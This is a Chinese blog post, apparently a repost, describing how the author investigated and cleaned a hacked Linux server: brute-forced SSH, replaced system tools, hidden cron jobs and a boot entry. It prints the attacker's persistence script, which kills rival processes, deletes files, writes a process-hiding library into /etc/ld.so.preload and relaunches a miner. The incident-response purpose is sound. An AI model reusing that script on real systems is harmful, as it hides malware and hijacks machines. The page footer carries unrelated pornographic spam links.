1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        Linux服務(wù)器被黑客入侵,怎么辦?

        共 19370字,需瀏覽 39分鐘

         ·

        2023-08-21 21:15

        原文鏈接:https://www.cnblogs.com/operationhome/p/16637763.html

        一、服務(wù)器入侵現(xiàn)象

        近期有一個朋友的服務(wù)器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是:服務(wù)器 CPU 資源長期 100%,負載較高。服務(wù)器上面的服務(wù)不能正常提供服務(wù)。

        f37acfd2e51275da5cb623db47bfa3de.webp

        朋友處理了一會沒有解決,我開始想說我不是搞安全的,我怎么會,但朋友開出了天價,一頓海底撈,我在生活和現(xiàn)實面前低頭了,開始上手看看了。

        二、服務(wù)器排查和處理

        2.1、服務(wù)器被入侵的可能原因

        1. 服務(wù)器 ssh 密碼 設(shè)置得很簡單。

        2. 騰訊云安全組范圍放得很大。

        3. 使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應(yīng)該不是這個入侵入口)。

        2.2、排查和處理步驟

        1.ps -ef / top 找出占用進程最大的服務(wù)

        • 問題現(xiàn)象

        ps/top 命令已經(jīng)被替換了。

        b0be68e01ecdfc0a4738316de22bdb6e.webp

        2.查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

        • 問題現(xiàn)象

            
                
                  [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
                
                
                  Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
                
                
                  Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
                
                
                  Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
                
                
                  Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
                
                
                  Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
                
                
                  Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
                
                
                  Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
                
                
                  Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
                
              

        lighthouse 騰訊云輕量服務(wù)器

        我們在這里就可以看到,有一些境外IP 34.215.138.2成功登錄了,這些 IP不是我們的正常登錄。在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 嘗試登錄不到500次 就已經(jīng)破解成功了。
        • 處理措施

        這里我們立馬采取了第一個措施,

        1. 在騰訊云安全組限制了 SSH 的登錄 IP , 之前的安全組 SSH 是放行所有IP。

        2. 將 SSH ROOT 密碼修改。

        3. /root/.ssh/authorized_keys 備份,并清空。

            
                
                  [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
                
                
                  cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
                
              

        這時我們就遇到了權(quán)限的問題,這個晚點展開講,因為我們已經(jīng)限制了源IP, 所以這個我們可以晚點來處理。

        3.查看最近新增的一些用戶
        • 問題現(xiàn)象

            
                
                  cat /etc/passwd
                
              

        21fada576460f0a9f61e178239cb69cc.webp

        • 處理措施

        鎖定用戶

            
                
                  [root@VM-12-12-centos ~]# usermod  -L  sys1
                
              
        我這里不計劃去找進程(已經(jīng)在新建一臺版本一致的系統(tǒng), 來拷貝 top ps 命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重啟過服務(wù)器,發(fā)現(xiàn)服務(wù)器啟動過一會才會負載較高。我認為入侵者應(yīng)該放了一些定時任務(wù)和啟動腳本里面。
        • 問題現(xiàn)象

        定時任務(wù)

        crond 讀取配置文件會從以下幾個路徑讀?。?/span>

        • /var/spool/cron/ , 由crontab -e 進行寫入,配置文件無需指定用戶

        • /etc/crontab ,只能root 進行編輯,配置文件需指定用戶

        • /etc/cron.d/ ,在此文件夾下創(chuàng)建定時任務(wù)文件,配置文件需指定用戶

        • /etc/cron.*

        /var/spool/cron/ 未找到(后面會說到這里有障眼法)

        d302697b70a5c07f67e0eb37146ef92c.webp

        /etc/crontab 未找到(后面會說到這里有障眼法)

        但是我在 /var/log/cron 一直看到有任務(wù)執(zhí)行。每間隔5分鐘。

            
                
                  Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
                
                
                  Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
                
                
                  Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
                
                
                  
                    
        Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root ) Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
        • 處理措施

        這里我們先做的操作就是,先把 /usr/lib/mysql/mysql /sbin/httpss 給刪除。刪除的時候還是提示沒有權(quán)限。我們知道這些文件應(yīng)該是加瑣了,所以我開始解鎖,我們發(fā)現(xiàn) chattr 也被替換和鎖住了。所以不能操作下去了。

        開機啟動腳本

        /etc/rc.local , 我們也發(fā)現(xiàn)了一個腳本。

              
                [root@VM-12-12-centos ~]# cat /etc/rc.local 
              
              
                #!/bin/bash
              
              
                # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
              
              
                #
              
              
                # It is highly advisable to create own systemd services or udev rules
              
              
                # to run scripts during boot instead of using this file.
              
              
                #
              
              
                # In contrast to previous versions due to parallel execution during boot
              
              
                # this script will NOT be run after all other services.
              
              
                #
              
              
                # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
              
              
                # that this script will be executed during boot.
              
              
                
                  
        /usr/bin/0f4f80f9ab start

        但是這個文件好像不存在的,我們就把這個給注釋了。

        5.還原更改了 top、ps、chattr、lsattr

        首先我們從相同版本的機器拷貝了 chattr、lsattr, 我們得先操作這個, 因為我們的 top 和 ps 都被鎖住了。

        我將文件上傳至 /tmp 目錄,然后增加可執(zhí)行權(quán)限,然后先給 /usr/bin/chattr 解除鎖定。

            
                
                  /tmp/chattr -ai /usr/bin/chattr
                
              
        執(zhí)行完之后,發(fā)現(xiàn)還是不能替換 /usr/bin/chattr 。最后耗費了一段時間才反應(yīng)到,入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/ 。
        • 解鎖目錄

            
                
                  /tmp/chattr -ai /usr/bin/
                
              

        這下才能把 /usr/bin/chattr 給替換掉。

        接下來參考這些,我們把 top 和 ps 、lsattr 給還原了。

        部分截圖

        af0a5326c364b94fc2203d755dc0d67e.webp

        三、本次入侵需要帶來啟示的點

        1.ps 、top 、chattr 、lsattr

        在這些命令被替換了,并且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經(jīng)替換并鎖定了文件。注意有些入侵者不僅會在文件層面加鎖,還會在當前的文件的目錄這一層加鎖。我之前在這個上面困惑了一段時間。

        2.文件內(nèi)容隱藏

        上文中,我執(zhí)行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。發(fā)現(xiàn)文件沒有內(nèi)容。

        其實不知道使用了什么特殊字符還是什么隱藏了, 其實是存在定時任務(wù)的。

        示例:

        ea05c2a460d4357c8d782e03a32c85dc.webp

        bd6f8f096fc9e06fc11a4d1f5b43298b.webp

        bb6acff5dc26e74583ad5bae0ef7d8ad.webp

        這個配置是如何導致 cat/more 看不了的, 今天再次看了下,這個文件可能是被當成了數(shù)據(jù)文件,因為我把這個文件 file 查看了之后,文件屬性是data. 然后文件包含的特殊字符。導致隱藏了,我在這里 服務(wù)器入侵之找出隱藏字符的原理 把這個來龍去脈給講清楚了。

        3.其中一個腳本

            
                
                  [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
                
                
                  #!/bin/sh
                
                
                  while test 1 = 1
                
                
                  do
                
                
                  sleep 30
                
                
                  pkill -f main
                
                
                  killall main
                
                
                  killall sprshduerjsaia
                
                
                  pkill -f sprshduerjsaia
                
                
                  killall dr64
                
                
                  pkill -f dr64
                
                
                  killall .report_system
                
                
                  pkill -f .report_system
                
                
                  killall sshc
                
                
                  pkill -f sshc
                
                
                  pkill -f memory
                
                
                  killall memory
                
                
                  killall warmup
                
                
                  killall koko
                
                
                  killall kthreaddk
                
                
                  killall systemc
                
                
                  killall cront
                
                
                  killall xm64_linux
                
                
                  killall /var/tmp/j/./intelshell
                
                
                  pkill -f dos32
                
                
                  pkill -f dos64
                
                
                  pkill -f .name
                
                
                  pkill -f /usr/sbin/dbus
                
                
                  pkill -f systemd-boot-check-no-failures
                
                
                  killall .report_system
                
                
                  pkill -f .report_system
                
                
                  pkill -f keep-alive
                
                
                  pkill -f linu
                
                
                  pkill -f zapppp
                
                
                  killall [scan]
                
                
                  killall [ext4]
                
                
                  pkill -f xm64_linux
                
                
                  pkill -f ddrirc
                
                
                  killall ./-bash
                
                
                  pkill -f ./-bash
                
                
                  killall kworkers
                
                
                  killall dbus
                
                
                  pkill -f biden1
                
                
                  pkill -f cpuminer-sse2
                
                
                  killall work64
                
                
                  pkill -f work64
                
                
                  killall work32
                
                
                  pkill -f work32
                
                
                  killall aarch12
                
                
                  pkill -f aarch12
                
                
                  killall bash1
                
                
                  pkill -f bash1
                
                
                  killall intelshell
                
                
                  pkill -f intelshell
                
                
                  killall heaven
                
                
                  pkill -f heaven
                
                
                  killall .syst3md
                
                
                  pkill -f .syst3md
                
                
                  pkill -f apachelogs
                
                
                  killall .meinkampf
                
                
                  pkill -f .meinkampf
                
                
                  killall xri
                
                
                  pkill -f xri
                
                
                  killall koko
                
                
                  pkill -f koko
                
                
                  killall work32-deamon
                
                
                  pkill -f work32-deamon
                
                
                  killall work64 -deamon
                
                
                  pkill -f work64 -deamon
                
                
                  killall secure.sh
                
                
                  pkill -f secure.sh
                
                
                  kkillall auth.sh
                
                
                  pkill -f auth.sh
                
                
                  killall autoupdate
                
                
                  pkill -f kworkers
                
                
                  pkill -f autoupdate
                
                
                  killall ld-linux
                
                
                  pkill -f ld-linux
                
                
                  pkill -9 Donald
                
                
                  killall -9 Donald
                
                
                  pkill -f /usr/local/bin/pnscan
                
                
                  pkill -f /usr/bin/biden1
                
                
                  killall /usr/bin/biden1
                
                
                  killall r
                
                
                  killall trace
                
                
                  pkill -f minerd
                
                
                  killall minerd
                
                
                  pkill -f xm64
                
                
                  killall xm64
                
                
                  pkill -f sysdm
                
                
                  killall sysdm
                
                
                  pkill -f syst3md
                
                
                  killall syst3md
                
                
                  pkill -f xrig
                
                
                  killall xrig
                
                
                  pkill -f busybox
                
                
                  killall busybox
                
                
                  pkill -f joseph
                
                
                  killall joseph
                
                
                  pkill -f osama
                
                
                  killall osama
                
                
                  killall daemon
                
                
                  pkill -f obama1
                
                
                  killall obama1
                
                
                  pkill -f kswapd0
                
                
                  killall kswapd0
                
                
                  pkill -f jehgms
                
                
                  killall jehgms
                
                
                  pkill -f tsm
                
                
                  killall tsm
                
                
                  pkill -f rig
                
                
                  killall rig
                
                
                  pkill -f xmr
                
                
                  killall xmr
                
                
                  pkill -f playstation
                
                
                  killall playstation
                
                
                  pkill -f ld-linux-x86-64
                
                
                  killall ld-linux-x86-64
                
                
                  pkill -f ruckusapd
                
                
                  killall ruckusapd
                
                
                  pkill -f run64
                
                
                  killall run64
                
                
                  pkill -f pwnrig
                
                
                  killall pwnrig
                
                
                  pkill -f phpupdate
                
                
                  killall phpupdate
                
                
                  pkill -f sysupdate
                
                
                  killall sysupdate
                
                
                  pkill -f phpguard
                
                
                  killall phpguard
                
                
                  pkill -f firstpress
                
                
                  killall firstpress
                
                
                  pkill -f zerocert
                
                
                  killall zerocert
                
                
                  pkill -f masscan
                
                
                  killall masscan
                
                
                  pkill -f -bash
                
                
                  pkill -f spreadQlmnop
                
                
                  killall spreadQlmnop
                
                
                  killall -bash
                
                
                  pkill -f cnrig
                
                
                  killall cnrig
                
                
                  pkill -f netvhost
                
                
                  killall netvhost
                
                
                  pkill -f kthreadds
                
                
                  killall kthreadds
                
                
                  pkill -f kthreadd
                
                
                  killall kthreadd
                
                
                  pkill -f kdevtmpfsi
                
                
                  killall kdevtmpfsi
                
                
                  pkill -f linuxservice
                
                
                  killall linuxservice
                
                
                  pkill -f rtmonitor
                
                
                  killall rtmonitor
                
                
                  pkill -f dev
                
                
                  killall dev
                
                
                  pkill -f xmrig
                
                
                  killall xmrig
                
                
                  pkill -f master
                
                
                  killall master
                
                
                  killall sysmd
                
                
                  pkill -f sysmd
                
                
                  pkill -f sendmail
                
                
                  killall sendmail
                
                
                  pkill -f ld-musl-x86_64.
                
                
                  killall ld-musl-x86_64.
                
                
                  killall watchdog
                
                
                  pkill -f watchdog
                
                
                  pkill -f 32678
                
                
                  killall 32678
                
                
                  killall dhpcd
                
                
                  pkill -f dhpcd
                
                
                  killall linux_amd64
                
                
                  pkill -f linux_amd64
                
                
                  killall xredis
                
                
                  pkill -f xredis
                
                
                  killall Linux2.6
                
                
                  killall .chornyd
                
                
                  pkill -f .chornyd
                
                
                  killall Opera
                
                
                  pkill -f Opera
                
                
                  killall libertyd
                
                
                  pkill -f libertyd
                
                
                  killall rcubind
                
                
                  pkill -f rcubind
                
                
                  killall clamscan
                
                
                  pkill -f clamscan
                
                
                  killall pnscan
                
                
                  pkill -f pnscan
                
                
                  killall zzh
                
                
                  pkill -f zzh
                
                
                  killall bioser
                
                
                  pkill -f bioser
                
                
                  rm -rf /root/.configrc/
                
                
                  rm -rf /tmp/.X26-unix/
                
                
                  rm -rf /tmp/.bash/
                
                
                  rm -rf /root/.bash/
                
                
                  rm -rf /root/.cache/
                
                
                  rm -rf /tmp/.cache/
                
                
                  rm -rf /dev/shm/.ssh/
                
                
                  rm -rf /etc/.etcservice/linuxservice
                
                
                  rm -rf /etc/.vhost/netvhost
                
                
                  rm -rf /tmp/up.txt
                
                
                  rm -rf /var/tmp/.update/
                
                
                  rm -rf /var/tmp/.systemd/
                
                
                  rm -rf /usr/sbin/.bash./.bash/
                
                
                  rm -rf /etc/master
                
                
                  rm -rf /usr/bin/busybox
                
                
                  rm -rf /bin/sysmd
                
                
                  rm -rf /tmp/.mx/
                
                
                  rm -rf /dev/shm/.mx/
                
                
                  rm -rf /usr/bin/xrig
                
                
                  rm -rf /etc/32678
                
                
                  rm -rf /root/c3pool/
                
                
                  rm -rf /usr/bin/.sshd/
                
                
                  rm -rf /tmp/div
                
                
                  systemctl stop c3pool_miner.service
                
                
                  systemctl stop pwnriglhttps.service
                
                
                  systemctl stop cryto
                
                
                  systemctl stop scan
                
                
                  systemctl stop bot
                
                
                  systemctl stop myservice.service
                
                
                  systemctl stop netns.service
                
                
                  systemctl stop cryptsetup.service
                
                
                  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
                
                
                  lockr +ai /etc/ld.so.preload >/dev/null 2>&1
                
                
                  chmod 777 /usr/lib/mysql/*
                
                
                  /usr/lib/mysql/./mysql
                
                
                  done
                
              
        我們可以看到這個腳本其實一直在 更改 /etc/ld.so.preload 的內(nèi)容。并且在關(guān)閉一些掃描軟件和系統(tǒng)的服務(wù)。
        在 Linux 操作系統(tǒng)的動態(tài)鏈接庫加載過程中,動態(tài)鏈接器會讀取 LD_PRELOAD 環(huán)境變量的值和默認配置文件 /etc/ld.so.preload 的文件內(nèi)容,并將讀取到的動態(tài)鏈接庫進行預加載,即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD 環(huán)境變量和 /etc/ld.so.preload 配置文件中指定的動態(tài)鏈接庫依然會被裝載,它們的優(yōu)先級比 LD_LIBRARY_PATH 環(huán)境變量所定義的鏈接庫查找路徑的文件優(yōu)先級要高,所以能夠提前于用戶調(diào)用的動態(tài)庫載入。——段落引自《警惕利用 Linux 預加載型惡意動態(tài)鏈接庫的后門》
        我已經(jīng)刪除了 /usr/local/lib/libprocesshider.so 文件,之后每次執(zhí)行命令會有這個報錯。

        8ef06415db8053684939d568d303c462.webp

        我在清空文件 /etc/ld.so.preload 之后,我發(fā)現(xiàn)好了一會后,還是出現(xiàn)這個,我再看 /etc/ld.so.preload 文件,里面又寫了 /usr/local/lib/libprocesshider.so ,我懷疑還有定時任務(wù),但是我找了一會定時任務(wù),還是沒有找到。后面在查看異常進程的時候,我看到了這個進程

        84c92ff73d6d291922cf4d65da69e77c.webp

        f6de19f952b7da1da428f63b1838e282.webp

        發(fā)現(xiàn)這個腳本的就是一直在循環(huán)執(zhí)行上面內(nèi)容。將這個進程 kill 后,然后刪除腳本。

        四、本次服務(wù)器被入侵的一些啟示

        1. 用好云廠家的安全組。對一些關(guān)鍵端口,放行規(guī)則盡量最小/

        2. 服務(wù)器相關(guān)的一些密碼盡量增加復雜性。

        3. 增加對一些關(guān)鍵文件的監(jiān)控. (通過監(jiān)控軟件監(jiān)控 md5值)

        4. 服務(wù)器入侵之后,我們需要怎么處理才是最好的。

        https://cloud.tencent.com/document/product/296/9604

        https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

        • 服務(wù)器如果有開放 SSH 遠程登錄,可以設(shè)置限制登錄(安全組、或者服務(wù)),只放行自己的IP. 查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

        /root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。

        • 服務(wù)器如果可以關(guān)閉外網(wǎng),就關(guān)閉外網(wǎng)。在安全組層面設(shè)置下,或者路由或者NAT。

        • 首先看下 ps/top 命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至服務(wù)器上。然后執(zhí)行查看異常進程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話,記得清空里面的內(nèi)容,然后將對應(yīng)的文件刪除或者重命名。

        如果使用過程中遇到了文件不可刪,不可改的問題,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要從別的機器拷貝。然后復原。

        • 如果上述沒有找到,可以通過 netstat 間接查看異常的連接從而查詢異常進程。

        • 檢查開機啟動 和 crontab 相關(guān)的內(nèi)容 。

        • 檢查異常進程。

        以上就是這次入侵的處理過程和得到的一些小啟示,后續(xù)有了解新的會繼續(xù)補充。

        3889642c48b1c0cf869fe0d88c4cb20b.webp
                    往期推薦
                    
         

                            
                              
                            
                              
            
                  
                    
                        
                            

        點亮,服務(wù)器三年不宕機058cb6ade9709e32929ac5fb4ee96223.webp
        瀏覽 51
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            清高性色视频 | 艳母漫画1~6无删减版 | 美女被 到喷水www69XX | 女free性2ozc交 | 国产美女一区二区免费视频 | 自慰喷水在线观看 | 色人阁av | 成年男女免费视频网站在线观看 | 一本一道久久综合狠狠 | 日本天天射 |